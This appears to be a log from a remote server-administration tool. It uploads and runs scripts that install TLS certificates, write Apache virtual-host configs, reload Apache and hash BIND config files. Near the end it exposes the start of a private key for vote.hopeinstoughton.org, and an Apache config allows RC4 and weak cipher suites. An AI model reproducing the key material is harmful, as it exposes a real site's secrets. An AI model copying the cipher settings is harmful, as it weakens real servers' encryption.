usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----


endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	cp $chain_file /etc/ssl/certs/$CHAINTARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file
rm $chain_file


2025-11-08 19:12:04: 

chmod 755 /tmp/pkp726225; /tmp/pkp726225; rm /tmp/pkp726225

2025-11-08 19:12:28: 

PUT: /tmp/pkp541498

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=pjy_desktop_us.conf
TARGET=/etc/apache2/sites-enabled/pjy_desktop_us.conf
DOCROOT=
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	desktop.pjy.us
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	
    DocumentRoot	/var/www/pjy_desktop/public
    <Directory /var/www/pjy_desktop/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/pjy/desktop_secure_access.log combined
    ErrorLog	/var/log/apache2/pjy/desktop_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/pjy_desktop_us.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/pjy_desktop_us.conf)= /etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/pjy_desktop_us.conf= 1'
fi


2025-11-08 19:12:28: 

chmod 755 /tmp/pkp541498; /tmp/pkp541498; rm /tmp/pkp541498

2025-11-08 19:12:53: 

PUT: /tmp/pkp869748

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-11-08 19:12:53: 

chmod 755 /tmp/pkp869748; /tmp/pkp869748; rm /tmp/pkp869748

2025-11-08 19:13:17: Establishing a connection
2025-11-08 19:13:17: 

PUT: /tmp/pkp852409

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-11-08 19:13:17: 

runuser -l bind -s /bin/bash -c '/tmp/pkp852409; rm /tmp/pkp852409'

2025-11-08 19:13:18: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 4280f8c05bc7ff45d1502e829357c0b2
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2025-11-09 06:00:02: Establishing a connection
2025-11-09 06:00:03: Establishing a connection
2025-11-09 06:00:04: 

PUT: /tmp/pkp591747

#!/bin/bash
if [ -d "/var/www/cityelectric_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-09 06:00:05: 

chmod 755 /tmp/pkp591747; /tmp/pkp591747; rm /tmp/pkp591747

2025-11-09 06:00:05: 


0


2025-11-09 06:00:06: Establishing a remote connection
2025-11-10 06:00:03: Establishing a connection
2025-11-10 06:00:03: Establishing a connection
2025-11-10 06:00:03: 

PUT: /tmp/pkp903982

#!/bin/bash
if [ -d "/var/www/hopeinstoughton_vote/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-11-10 06:00:05: 

chmod 755 /tmp/pkp903982; /tmp/pkp903982; rm /tmp/pkp903982

2025-11-10 06:00:05: 


0


2025-11-10 06:00:31: Establishing a connection
2025-11-10 06:00:31: 

PUT: /tmp/pkp951410

#!/bin/bash
temp_file=$(mktemp)
TARGET=277b862c622fb9fa5d441c9959ff5ee3.crt

cat > $temp_file <<'endmsg'
4a:11:58:8b:99:8f:1b:06:ed:fb:90:a3:48:6d:5f:b5

-----BEGIN CERTIFICATE-----
MIIFDjCCA/agAwIBAgISBi/S3upO9GBjg9arTV8jGNSZMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMTEwMDUwMjAwWhcNMjYwMjA4MDUwMTU5WjAjMSEwHwYDVQQD
Exh2b3RlLmhvcGVpbnN0b3VnaHRvbi5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IB
DwAwggEKAoIBAQDZBjTWThDW0ZNCQXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVe
xcxpdQLLGKiXaaGZTgkaEc+2rChTAow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY
/hM9sZCJKOkiGiY/2dGscKVV+FdoAjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpU
Ha1+6ahVss5gabw3shHku0ZsIuMr83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFl
C9Mq02JefBA732QD2yjHAWHC1LpwjpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZ
usUAB5KpnTCtQSPqPo5ccEe4S2wTuMjAA2m/AgMBAAGjggIqMIICJjAOBgNVHQ8B
Af8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB
/wQCMAAwHQYDVR0OBBYEFB6otP/trILMbdywEmnze6jO5+wWMB8GA1UdIwQYMBaA
FAC1KfItjm8x6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcw
AoYXaHR0cDovL3IxMi5pLmxlbmNyLm9yZy8wIwYDVR0RBBwwGoIYdm90ZS5ob3Bl
aW5zdG91Z2h0b24ub3JnMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1UdHwQnMCUw
I6AhoB+GHWh0dHA6Ly9yMTIuYy5sZW5jci5vcmcvMjYuY3JsMIIBBgYKKwYBBAHW
eQIEAgSB9wSB9ADyAHcASZybad4dfOz8Nt7Nh2SmuFuvCoeAGdFVUvvp6ynd+MMA
AAGabFoF/wAABAMASDBGAiEA2TP4jAC7Euo6I8/sZPn98qqkcRhWyBscZbm/QEl9
AqYCIQCKejH+v5d0aUVeII51CMmAdIjxFie0TccsSGMDTz1JpAB3AMs49xWJfISh
RF9bwd37yW7ymlnNRwppBYWwyxTDFFjnAAABmmxaBvAAAAQDAEgwRgIhAOMMtlRN
8WijbnI39z+x2F8VGMnYW6qGIe/oF1qk2CXrAiEAygy7FXtUvoBMdI8JUgc+0Y+W
XnCNvZ6fpabp9bjaFVQwDQYJKoZIhvcNAQELBQADggEBAIflHfU90S3ZYaYvZa5Q
yq1iCxut59oQ1NELL4PgW1WXh2gIEWVqldqG5UKUgG8Jbe6SpEbynIhp/AAPpIWa
Gz/WvYUYfLAlf3aOjUJ4m7CiUbNG7OohKw2Ybvmf1MdHlcIj4f5G/1XsJjRvZ57A
g0Dxs+qK6c+vXyhqQzX2DxrHu5bwZubk3Uu6YwT0meYR7bNy6+E1nicT0oSFdJJ2
YGIfep0HtXFI0bI70kq3Sof8zWBatfukfKjRfCL0razvM3daHTZ9A/vAL1WhXLB4
rK5C+LicKobELA1dBtUf/9Tna3JoSVRWzRKbsgQZJYth+HAl/Mchz28SpNOGMxYF
Vag=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDZBjTWThDW0ZNC
QXxI7siPUf4t8hzVtaoMxbTK0WIoYMlkLBVexcxpdQLLGKiXaaGZTgkaEc+2rChT
Aow30Yq67T380JlvnEQuPTo/w+9H6gvbl6iY/hM9sZCJKOkiGiY/2dGscKVV+Fdo
AjKrUIv1laFQbRxRn+GPgrQOBA+Dg0iRAJpUHa1+6ahVss5gabw3shHku0ZsIuMr
83SB4dJPn1g2RKCAxbOSlDqInJUsi004RYFlC9Mq02JefBA732QD2yjHAWHC1Lpw
jpepPd8l8GUFZ1Ld09AxbG7QC4bFay2VkqtZusUAB5KpnTCtQSPqPo5ccEe4S2wT
uMjAA2m/AgMBAAECggEAFRgXVqUr2dVw/MWksOoUsGmFzS11RAhuSOOGmRgU9FvD
92qZgSa0oaNv7BGvgVgRDveYxuHoUJcXLEpZGqvRUi3xEnusDj8gGWZ2HPCMd272
TBfHmWdIs3xo0gwZ7Oihwx8G1D32tA55YHCmQCSKFgq/LTQNxplFsU9A9QPMBjo0
